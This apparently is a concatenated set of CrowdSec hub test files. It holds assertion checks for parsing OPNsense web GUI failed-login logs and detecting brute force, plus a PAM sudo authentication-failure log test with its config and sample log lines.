"toto" results["s01-parse"]["crowdsecurity/opnsense-gui-logs"][2].Evt.Parsed["logsource"] == "syslog" results["s01-parse"]["crowdsecurity/opnsense-gui-logs"][2].Evt.Parsed["message"] == "/index.php: Web GUI authentication error for 'toto' from 1.2.3.4" results["s01-parse"]["crowdsecurity/opnsense-gui-logs"][2].Evt.Parsed["pid"] == "24409" results["s01-parse"]["crowdsecurity/opnsense-gui-logs"][2].Evt.Parsed["source_ip"] == "1.2.3.4" results["s01-parse"]["crowdsecurity/opnsense-gui-logs"][2].Evt.Parsed["stuff1"] == "35" results["s01-parse"]["crowdsecurity/opnsense-gui-logs"][2].Evt.Parsed["timestamp8601"] == "2022-01-19T15:14:32+00:00" results["s01-parse"]["crowdsecurity/opnsense-gui-logs"][2].Evt.Parsed["seq_id"] == "4" results["s01-parse"]["crowdsecurity/opnsense-gui-logs"][2].Evt.Meta["username"] == "toto" results["s01-parse"]["crowdsecurity/opnsense-gui-logs"][2].Evt.Meta["datasource_path"] == "opnsense-web-auth.log" results["s01-parse"]["crowdsecurity/opnsense-gui-logs"][2].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/opnsense-gui-logs"][2].Evt.Meta["log_type"] == "opnsense-gui-failed-auth" results["s01-parse"]["crowdsecurity/opnsense-gui-logs"][2].Evt.Meta["machine"] == "OPNsense.localdomain" results["s01-parse"]["crowdsecurity/opnsense-gui-logs"][2].Evt.Meta["service"] == "opnsense-gui" results["s01-parse"]["crowdsecurity/opnsense-gui-logs"][2].Evt.Meta["source_ip"] == "1.2.3.4" results["s01-parse"]["crowdsecurity/opnsense-gui-logs"][3].Success == true results["s01-parse"]["crowdsecurity/opnsense-gui-logs"][3].Evt.Parsed["logsource"] == "syslog" results["s01-parse"]["crowdsecurity/opnsense-gui-logs"][3].Evt.Parsed["message"] == "/index.php: Web GUI authentication error for 'toto' from 1.2.3.4" results["s01-parse"]["crowdsecurity/opnsense-gui-logs"][3].Evt.Parsed["pid"] == "24409" results["s01-parse"]["crowdsecurity/opnsense-gui-logs"][3].Evt.Parsed["program"] == "audit" results["s01-parse"]["crowdsecurity/opnsense-gui-logs"][3].Evt.Parsed["stuff1"] == "35" results["s01-parse"]["crowdsecurity/opnsense-gui-logs"][3].Evt.Parsed["stuff2"] == "1" results["s01-parse"]["crowdsecurity/opnsense-gui-logs"][3].Evt.Parsed["username"] == "toto" results["s01-parse"]["crowdsecurity/opnsense-gui-logs"][3].Evt.Parsed["source_ip"] == "1.2.3.4" results["s01-parse"]["crowdsecurity/opnsense-gui-logs"][3].Evt.Parsed["timestamp8601"] == "2022-01-19T15:14:32+00:00" results["s01-parse"]["crowdsecurity/opnsense-gui-logs"][3].Evt.Parsed["seq_id"] == "4" results["s01-parse"]["crowdsecurity/opnsense-gui-logs"][3].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/opnsense-gui-logs"][3].Evt.Meta["log_type"] == "opnsense-gui-failed-auth" results["s01-parse"]["crowdsecurity/opnsense-gui-logs"][3].Evt.Meta["machine"] == "OPNsense.localdomain" results["s01-parse"]["crowdsecurity/opnsense-gui-logs"][3].Evt.Meta["service"] == "opnsense-gui" results["s01-parse"]["crowdsecurity/opnsense-gui-logs"][3].Evt.Meta["source_ip"] == "1.2.3.4" results["s01-parse"]["crowdsecurity/opnsense-gui-logs"][3].Evt.Meta["username"] == "toto" results["s01-parse"]["crowdsecurity/opnsense-gui-logs"][3].Evt.Meta["datasource_path"] == "opnsense-web-auth.log" results["s01-parse"]["crowdsecurity/opnsense-gui-logs"][4].Success == true results["s01-parse"]["crowdsecurity/opnsense-gui-logs"][4].Evt.Parsed["message"] == "/index.php: Web GUI authentication error for 'toto' from 1.2.3.4" results["s01-parse"]["crowdsecurity/opnsense-gui-logs"][4].Evt.Parsed["pid"] == "24409" results["s01-parse"]["crowdsecurity/opnsense-gui-logs"][4].Evt.Parsed["program"] == "audit" results["s01-parse"]["crowdsecurity/opnsense-gui-logs"][4].Evt.Parsed["seq_id"] == "4" results["s01-parse"]["crowdsecurity/opnsense-gui-logs"][4].Evt.Parsed["source_ip"] == "1.2.3.4" results["s01-parse"]["crowdsecurity/opnsense-gui-logs"][4].Evt.Parsed["timestamp8601"] == "2022-01-19T15:14:32+00:00" results["s01-parse"]["crowdsecurity/opnsense-gui-logs"][4].Evt.Parsed["username"] == "toto" results["s01-parse"]["crowdsecurity/opnsense-gui-logs"][4].Evt.Parsed["stuff1"] == "35" results["s01-parse"]["crowdsecurity/opnsense-gui-logs"][4].Evt.Parsed["stuff2"] == "1" results["s01-parse"]["crowdsecurity/opnsense-gui-logs"][4].Evt.Parsed["logsource"] == "syslog" results["s01-parse"]["crowdsecurity/opnsense-gui-logs"][4].Evt.Meta["machine"] == "OPNsense.localdomain" results["s01-parse"]["crowdsecurity/opnsense-gui-logs"][4].Evt.Meta["service"] == "opnsense-gui" results["s01-parse"]["crowdsecurity/opnsense-gui-logs"][4].Evt.Meta["source_ip"] == "1.2.3.4" results["s01-parse"]["crowdsecurity/opnsense-gui-logs"][4].Evt.Meta["username"] == "toto" results["s01-parse"]["crowdsecurity/opnsense-gui-logs"][4].Evt.Meta["datasource_path"] == "opnsense-web-auth.log" results["s01-parse"]["crowdsecurity/opnsense-gui-logs"][4].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/opnsense-gui-logs"][4].Evt.Meta["log_type"] == "opnsense-gui-failed-auth" results["s01-parse"]["crowdsecurity/opnsense-gui-logs"][5].Success == true results["s01-parse"]["crowdsecurity/opnsense-gui-logs"][5].Evt.Parsed["message"] == "/index.php: Web GUI authentication error for 'toto' from 1.2.3.4" results["s01-parse"]["crowdsecurity/opnsense-gui-logs"][5].Evt.Parsed["pid"] == "24409" results["s01-parse"]["crowdsecurity/opnsense-gui-logs"][5].Evt.Parsed["seq_id"] == "4" results["s01-parse"]["crowdsecurity/opnsense-gui-logs"][5].Evt.Parsed["stuff1"] == "35" results["s01-parse"]["crowdsecurity/opnsense-gui-logs"][5].Evt.Parsed["stuff2"] == "1" results["s01-parse"]["crowdsecurity/opnsense-gui-logs"][5].Evt.Parsed["logsource"] == "syslog" results["s01-parse"]["crowdsecurity/opnsense-gui-logs"][5].Evt.Parsed["timestamp8601"] == "2022-01-19T15:14:32+00:00" results["s01-parse"]["crowdsecurity/opnsense-gui-logs"][5].Evt.Parsed["username"] == "toto" results["s01-parse"]["crowdsecurity/opnsense-gui-logs"][5].Evt.Parsed["program"] == "audit" results["s01-parse"]["crowdsecurity/opnsense-gui-logs"][5].Evt.Parsed["source_ip"] == "1.2.3.4" results["s01-parse"]["crowdsecurity/opnsense-gui-logs"][5].Evt.Meta["service"] == "opnsense-gui" results["s01-parse"]["crowdsecurity/opnsense-gui-logs"][5].Evt.Meta["source_ip"] == "1.2.3.4" results["s01-parse"]["crowdsecurity/opnsense-gui-logs"][5].Evt.Meta["username"] == "toto" results["s01-parse"]["crowdsecurity/opnsense-gui-logs"][5].Evt.Meta["datasource_path"] == "opnsense-web-auth.log" results["s01-parse"]["crowdsecurity/opnsense-gui-logs"][5].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/opnsense-gui-logs"][5].Evt.Meta["log_type"] == "opnsense-gui-failed-auth" results["s01-parse"]["crowdsecurity/opnsense-gui-logs"][5].Evt.Meta["machine"] == "OPNsense.localdomain" len(results["s02-enrich"]["crowdsecurity/dateparse-enrich"]) == 6 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["logsource"] == "syslog" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["message"] == "/index.php: Web GUI authentication error for 'toto' from 1.2.3.4" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["pid"] == "24409" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["program"] == "audit" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["source_ip"] == "1.2.3.4" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["seq_id"] == "4" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["stuff1"] == "35" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["stuff2"] == "1" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["timestamp8601"] == "2022-01-19T15:14:32+00:00" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["username"] == "toto" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["source_ip"] == "1.2.3.4" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["timestamp"] == "2022-01-19T15:14:32Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["username"] == "toto" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["datasource_path"] == "opnsense-web-auth.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["log_type"] == "opnsense-gui-failed-auth" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["machine"] == "OPNsense.localdomain" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["service"] == "opnsense-gui" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Enriched["MarshaledTime"] == "2022-01-19T15:14:32Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["pid"] == "24409" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["program"] == "audit" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["source_ip"] == "1.2.3.4" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["timestamp8601"] == "2022-01-19T15:14:32+00:00" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["logsource"] == "syslog" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["message"] == "/index.php: Web GUI authentication error for 'toto' from 1.2.3.4" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["seq_id"] == "4" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["stuff1"] == "35" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["stuff2"] == "1" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["username"] == "toto" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["username"] == "toto" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["datasource_path"] == "opnsense-web-auth.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["log_type"] == "opnsense-gui-failed-auth" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["machine"] == "OPNsense.localdomain" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["service"] == "opnsense-gui" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["source_ip"] == "1.2.3.4" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["timestamp"] == "2022-01-19T15:14:32Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Enriched["MarshaledTime"] == "2022-01-19T15:14:32Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["logsource"] == "syslog" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["pid"] == "24409" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["source_ip"] == "1.2.3.4" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["stuff2"] == "1" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["timestamp8601"] == "2022-01-19T15:14:32+00:00" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["username"] == "toto" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["message"] == "/index.php: Web GUI authentication error for 'toto' from 1.2.3.4" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["program"] == "audit" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["seq_id"] == "4" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["stuff1"] == "35" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["log_type"] == "opnsense-gui-failed-auth" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["machine"] == "OPNsense.localdomain" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["service"] == "opnsense-gui" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["source_ip"] == "1.2.3.4" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["timestamp"] == "2022-01-19T15:14:32Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["username"] == "toto" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["datasource_path"] == "opnsense-web-auth.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Enriched["MarshaledTime"] == "2022-01-19T15:14:32Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["timestamp8601"] == "2022-01-19T15:14:32+00:00" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["message"] == "/index.php: Web GUI authentication error for 'toto' from 1.2.3.4" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["pid"] == "24409" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["program"] == "audit" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["source_ip"] == "1.2.3.4" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["stuff2"] == "1" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["logsource"] == "syslog" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["seq_id"] == "4" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["stuff1"] == "35" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["username"] == "toto" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["service"] == "opnsense-gui" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["source_ip"] == "1.2.3.4" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["timestamp"] == "2022-01-19T15:14:32Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["username"] == "toto" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["datasource_path"] == "opnsense-web-auth.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["log_type"] == "opnsense-gui-failed-auth" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["machine"] == "OPNsense.localdomain" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Enriched["MarshaledTime"] == "2022-01-19T15:14:32Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["pid"] == "24409" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["seq_id"] == "4" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["logsource"] == "syslog" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["message"] == "/index.php: Web GUI authentication error for 'toto' from 1.2.3.4" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["program"] == "audit" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["source_ip"] == "1.2.3.4" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["stuff1"] == "35" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["stuff2"] == "1" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["timestamp8601"] == "2022-01-19T15:14:32+00:00" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["username"] == "toto" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Meta["service"] == "opnsense-gui" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Meta["source_ip"] == "1.2.3.4" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Meta["timestamp"] == "2022-01-19T15:14:32Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Meta["username"] == "toto" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Meta["datasource_path"] == "opnsense-web-auth.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Meta["log_type"] == "opnsense-gui-failed-auth" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Meta["machine"] == "OPNsense.localdomain" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Enriched["MarshaledTime"] == "2022-01-19T15:14:32Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Parsed["username"] == "toto" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Parsed["message"] == "/index.php: Web GUI authentication error for 'toto' from 1.2.3.4" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Parsed["program"] == "audit" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Parsed["seq_id"] == "4" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Parsed["source_ip"] == "1.2.3.4" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Parsed["timestamp8601"] == "2022-01-19T15:14:32+00:00" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Parsed["logsource"] == "syslog" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Parsed["pid"] == "24409" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Parsed["stuff1"] == "35" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Parsed["stuff2"] == "1" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Meta["source_ip"] == "1.2.3.4" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Meta["timestamp"] == "2022-01-19T15:14:32Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Meta["username"] == "toto" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Meta["datasource_path"] == "opnsense-web-auth.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Meta["log_type"] == "opnsense-gui-failed-auth" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Meta["machine"] == "OPNsense.localdomain" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Meta["service"] == "opnsense-gui" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Enriched["MarshaledTime"] == "2022-01-19T15:14:32Z" len(results["success"][""]) == 0 hub1/.tests/opnsense-web-auth/scenario.assert000066400000000000000000000101411437532772500215430ustar00rootroot00000000000000len(results) == 1 "1.2.3.4" in results[0].Overflow.GetSources() results[0].Overflow.Sources["1.2.3.4"].IP == "1.2.3.4" results[0].Overflow.Sources["1.2.3.4"].Range == "" results[0].Overflow.Sources["1.2.3.4"].GetScope() == "Ip" results[0].Overflow.Sources["1.2.3.4"].GetValue() == "1.2.3.4" results[0].Overflow.Alert.Events[0].GetMeta("datasource_path") == "opnsense-web-auth.log" results[0].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[0].GetMeta("log_type") == "opnsense-gui-failed-auth" results[0].Overflow.Alert.Events[0].GetMeta("machine") == "OPNsense.localdomain" results[0].Overflow.Alert.Events[0].GetMeta("service") == "opnsense-gui" results[0].Overflow.Alert.Events[0].GetMeta("source_ip") == "1.2.3.4" results[0].Overflow.Alert.Events[0].GetMeta("timestamp") == "2022-01-19T15:14:32Z" results[0].Overflow.Alert.Events[0].GetMeta("username") == "toto" results[0].Overflow.Alert.Events[1].GetMeta("datasource_path") == "opnsense-web-auth.log" results[0].Overflow.Alert.Events[1].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[1].GetMeta("log_type") == "opnsense-gui-failed-auth" results[0].Overflow.Alert.Events[1].GetMeta("machine") == "OPNsense.localdomain" results[0].Overflow.Alert.Events[1].GetMeta("service") == "opnsense-gui" results[0].Overflow.Alert.Events[1].GetMeta("source_ip") == "1.2.3.4" results[0].Overflow.Alert.Events[1].GetMeta("timestamp") == "2022-01-19T15:14:32Z" results[0].Overflow.Alert.Events[1].GetMeta("username") == "toto" results[0].Overflow.Alert.Events[2].GetMeta("datasource_path") == "opnsense-web-auth.log" results[0].Overflow.Alert.Events[2].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[2].GetMeta("log_type") == "opnsense-gui-failed-auth" results[0].Overflow.Alert.Events[2].GetMeta("machine") == "OPNsense.localdomain" results[0].Overflow.Alert.Events[2].GetMeta("service") == "opnsense-gui" results[0].Overflow.Alert.Events[2].GetMeta("source_ip") == "1.2.3.4" results[0].Overflow.Alert.Events[2].GetMeta("timestamp") == "2022-01-19T15:14:32Z" results[0].Overflow.Alert.Events[2].GetMeta("username") == "toto" results[0].Overflow.Alert.Events[3].GetMeta("datasource_path") == "opnsense-web-auth.log" results[0].Overflow.Alert.Events[3].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[3].GetMeta("log_type") == "opnsense-gui-failed-auth" results[0].Overflow.Alert.Events[3].GetMeta("machine") == "OPNsense.localdomain" results[0].Overflow.Alert.Events[3].GetMeta("service") == "opnsense-gui" results[0].Overflow.Alert.Events[3].GetMeta("source_ip") == "1.2.3.4" results[0].Overflow.Alert.Events[3].GetMeta("timestamp") == "2022-01-19T15:14:32Z" results[0].Overflow.Alert.Events[3].GetMeta("username") == "toto" results[0].Overflow.Alert.Events[4].GetMeta("datasource_path") == "opnsense-web-auth.log" results[0].Overflow.Alert.Events[4].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[4].GetMeta("log_type") == "opnsense-gui-failed-auth" results[0].Overflow.Alert.Events[4].GetMeta("machine") == "OPNsense.localdomain" results[0].Overflow.Alert.Events[4].GetMeta("service") == "opnsense-gui" results[0].Overflow.Alert.Events[4].GetMeta("source_ip") == "1.2.3.4" results[0].Overflow.Alert.Events[4].GetMeta("timestamp") == "2022-01-19T15:14:32Z" results[0].Overflow.Alert.Events[4].GetMeta("username") == "toto" results[0].Overflow.Alert.Events[5].GetMeta("datasource_path") == "opnsense-web-auth.log" results[0].Overflow.Alert.Events[5].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[5].GetMeta("log_type") == "opnsense-gui-failed-auth" results[0].Overflow.Alert.Events[5].GetMeta("machine") == "OPNsense.localdomain" results[0].Overflow.Alert.Events[5].GetMeta("service") == "opnsense-gui" results[0].Overflow.Alert.Events[5].GetMeta("source_ip") == "1.2.3.4" results[0].Overflow.Alert.Events[5].GetMeta("timestamp") == "2022-01-19T15:14:32Z" results[0].Overflow.Alert.Events[5].GetMeta("username") == "toto" results[0].Overflow.Alert.GetScenario() == "crowdsecurity/opnsense-web-bf" results[0].Overflow.Alert.Remediation == true results[0].Overflow.Alert.GetEventsCount() == 6 hub1/.tests/pam-logs/000077500000000000000000000000001437532772500146735ustar00rootroot00000000000000hub1/.tests/pam-logs/config.yaml000066400000000000000000000003741437532772500170300ustar00rootroot00000000000000parsers: - ./parsers/s00-raw/crowdsecurity/syslog-logs.yaml - crowdsecurity/dateparse-enrich - ./parsers/s01-parse/crowdsecurity/pam-logs.yaml scenarios: - "" postoverflows: - "" log_file: pam-logs.log log_type: syslog labels: {} ignore_parsers: false hub1/.tests/pam-logs/pam-logs.log000066400000000000000000000004071437532772500171160ustar00rootroot00000000000000Dec 7 14:53:04 vskub1master01p sudo: pam_tally2(sudo:auth): user zbadguy (4001) tally 6, deny 5 Dec 7 14:52:59 vskub1master01p sudo: pam_unix(sudo:auth): authentication failure; logname=zbadguy uid=4001 euid=0 tty=/dev/pts/12 ruser=zbadguy rhost= user=zbadguy hub1/.tests/pam-logs/parser.assert000066400000000000000000000170151437532772500174160ustar00rootroot00000000000000len(results) == 4 len(results["s00-raw"]["crowdsecurity/syslog-logs"]) == 2 results["s00-raw"]["crowdsecurity/syslog-logs"][0].Success == true results["s00-raw"]["crowdsecurity/syslog-logs"][0].Evt.Parsed["timestamp"] == "Dec 7 14:53:04" results["s00-raw"]["crowdsecurity/syslog-logs"][0].Evt.Parsed["logsource"] == "syslog" results["s00-raw"]["crowdsecurity/syslog-logs"][0].Evt.Parsed["message"] == "pam_tally2(sudo:auth): user zbadguy (4001) tally 6, deny 5" results["s00-raw"]["crowdsecurity/syslog-logs"][0].Evt.Parsed["program"] == "sudo" results["s00-raw"]["crowdsecurity/syslog-logs"][0].Evt.Meta["datasource_path"] == "pam-logs.log" results["s00-raw"]["crowdsecurity/syslog-logs"][0].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/syslog-logs"][0].Evt.Meta["machine"] == "vskub1master01p" results["s00-raw"]["crowdsecurity/syslog-logs"][1].Success == true results["s00-raw"]["crowdsecurity/syslog-logs"][1].Evt.Parsed["logsource"] == "syslog" results["s00-raw"]["crowdsecurity/syslog-logs"][1].Evt.Parsed["message"] == "pam_unix(sudo:auth): authentication failure; logname=zbadguy uid=4001 euid=0 tty=/dev/pts/12 ruser=zbadguy rhost= user=zbadguy" results["s00-raw"]["crowdsecurity/syslog-logs"][1].Evt.Parsed["program"] == "sudo" results["s00-raw"]["crowdsecurity/syslog-logs"][1].Evt.Parsed["timestamp"] == "Dec 7 14:52:59" results["s00-raw"]["crowdsecurity/syslog-logs"][1].Evt.Meta["datasource_path"] == "pam-logs.log" results["s00-raw"]["crowdsecurity/syslog-logs"][1].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/syslog-logs"][1].Evt.Meta["machine"] == "vskub1master01p" len(results["s01-parse"]["crowdsecurity/pam-logs"]) == 2 results["s01-parse"]["crowdsecurity/pam-logs"][0].Success == true results["s01-parse"]["crowdsecurity/pam-logs"][0].Evt.Parsed["program"] == "sudo" results["s01-parse"]["crowdsecurity/pam-logs"][0].Evt.Parsed["timestamp"] == "Dec 7 14:53:04" results["s01-parse"]["crowdsecurity/pam-logs"][0].Evt.Parsed["uid"] == "4001" results["s01-parse"]["crowdsecurity/pam-logs"][0].Evt.Parsed["logsource"] == "syslog" results["s01-parse"]["crowdsecurity/pam-logs"][0].Evt.Parsed["message"] == "pam_tally2(sudo:auth): user zbadguy (4001) tally 6, deny 5" results["s01-parse"]["crowdsecurity/pam-logs"][0].Evt.Parsed["username"] == "zbadguy" results["s01-parse"]["crowdsecurity/pam-logs"][0].Evt.Meta["machine"] == "vskub1master01p" results["s01-parse"]["crowdsecurity/pam-logs"][0].Evt.Meta["service"] == "pam" results["s01-parse"]["crowdsecurity/pam-logs"][0].Evt.Meta["username"] == "zbadguy" results["s01-parse"]["crowdsecurity/pam-logs"][0].Evt.Meta["datasource_path"] == "pam-logs.log" results["s01-parse"]["crowdsecurity/pam-logs"][0].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/pam-logs"][0].Evt.Meta["log_type"] == "pam_user_lock" results["s01-parse"]["crowdsecurity/pam-logs"][1].Success == true results["s01-parse"]["crowdsecurity/pam-logs"][1].Evt.Parsed["program"] == "sudo" results["s01-parse"]["crowdsecurity/pam-logs"][1].Evt.Parsed["ruser"] == "zbadguy" results["s01-parse"]["crowdsecurity/pam-logs"][1].Evt.Parsed["timestamp"] == "Dec 7 14:52:59" results["s01-parse"]["crowdsecurity/pam-logs"][1].Evt.Parsed["euid"] == "0" results["s01-parse"]["crowdsecurity/pam-logs"][1].Evt.Parsed["logsource"] == "syslog" results["s01-parse"]["crowdsecurity/pam-logs"][1].Evt.Parsed["message"] == "pam_unix(sudo:auth): authentication failure; logname=zbadguy uid=4001 euid=0 tty=/dev/pts/12 ruser=zbadguy rhost= user=zbadguy" results["s01-parse"]["crowdsecurity/pam-logs"][1].Evt.Parsed["uid"] == "4001" results["s01-parse"]["crowdsecurity/pam-logs"][1].Evt.Parsed["username"] == "zbadguy" 